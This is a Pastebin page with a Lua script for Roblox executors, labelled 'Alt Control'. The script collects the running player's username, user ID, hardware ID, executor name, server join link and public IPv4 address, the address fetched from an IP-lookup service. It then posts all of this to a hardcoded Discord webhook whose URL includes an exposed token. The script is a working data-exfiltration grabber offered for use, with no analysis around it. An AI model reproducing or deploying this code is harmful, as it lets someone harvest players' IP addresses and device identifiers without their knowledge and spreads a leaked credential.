Arcaneee

Logs

Jun 3rd, 2024 (edited)
981
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.87 KB | None | 0 0
  1. local DiscordWebhook = "https://discord.com/api/webhooks/1288660128454803468/FaQukJLEp6gpRSybEaxxVqjTr1fSRSDP7-uJDb8M2FY8FWh4R_udpiSuj3IZEe4tM3jx"
  2. PlaceId, JobId = game.PlaceId, game.JobId
  3. local function dayCountConverter(n)
  4.     local years = math.floor(n / 365)
  5.     local months = math.floor((n - (years * 365)) / 30)
  6.     local days = n - (years * 365) - (months * 30)
  7.     return string.format("%i Years, %i Months, %i Days",years, months, days)
  8. end
  9. pcall(function()
  10.    local data = {
  11.  
  12.   ['embeds'] = {
  13.     {
  14.        ['title'] = "Alt Control",
  15.        ["color"]=tonumber(0x726da),
  16.        ['fields'] = {
  17.           {name = 'User', value = "**"..game:GetService("Players").LocalPlayer.Name.."**"},
  18.           {name = 'UserId', value = "**"..game:GetService("Players").LocalPlayer.UserId.."**"},
  19.           {name = 'Owner User', value = "**"..game.Players[getgenv().AltControl.Owner].Name.."**"},
  20.           {name = 'Owner UserId', value = "**"..game.Players[getgenv().AltControl.Owner].UserId.."**"},
  21.           {name = 'Account Age', value = "**"..dayCountConverter(game.Players.LocalPlayer.AccountAge).."**"},
  22.           {name = 'Profile Link', value = "https://www.roblox.com/users/" ..game.Players.LocalPlayer.UserId.. "/profile" .. ""},
  23.           {name = 'Owner Profile Link', value = "https://www.roblox.com/users/" ..game.Players[getgenv().AltControl.Owner].UserId.. "/profile" .. ""},
  24.           {name = 'Join Link', value = "https://www.roblox.com/games/start?placeId="..PlaceId.."&launchData=/"..JobId..""},
  25.           --{name = 'Executor Join Link', value = game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceId, JobId)},
  26.           {name = 'Executor', value =  "**"..identifyexecutor().."**"},
  27.           {name = 'Hwid', value = "**"..game:GetService("RbxAnalyticsService"):GetClientId().."**"},
  28.           {name = "Ping", value = "**"..game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString().."**"},
  29.           {name = 'Place & JobId', value = '**'..PlaceId..', '..JobId..'**'},
  30.           {name = 'IPV4', value = "**"..game:HttpGet("https://v4.ident.me/?format=json").."**"},
  31.           --{name = 'IPV6', value = "**"..game:HttpGet("https://v6.ident.me/?format=json").."**"},
  32.           --{name = 'Ip', value = "**"..game:HttpGet("https://api.ipify.org/?format=json").."**"},
  33.           {name = 'Membership', value = "**"..string.sub(tostring(game:GetService("Players").LocalPlayer.MembershipType), 21).."**"},
  34.           {name = 'Time', value = "**"..os.date("%A, %m %B %Y %I:%M:%S %p").."**"},
  35.  
  36.         }
  37.     }
  38.   }
  39. }
  40.   if request then
  41.        local response = request(
  42.            {
  43.                Url = DiscordWebhook,
  44.                Method = 'POST',
  45.                Headers = {
  46.                    ['Content-Type'] = 'application/json'
  47.                },
  48.                Body = game:GetService('HttpService'):JSONEncode(data)
  49.            }
  50.        );
  51.    end
  52. end)
Advertisement
Add Comment
Please, Sign In to add comment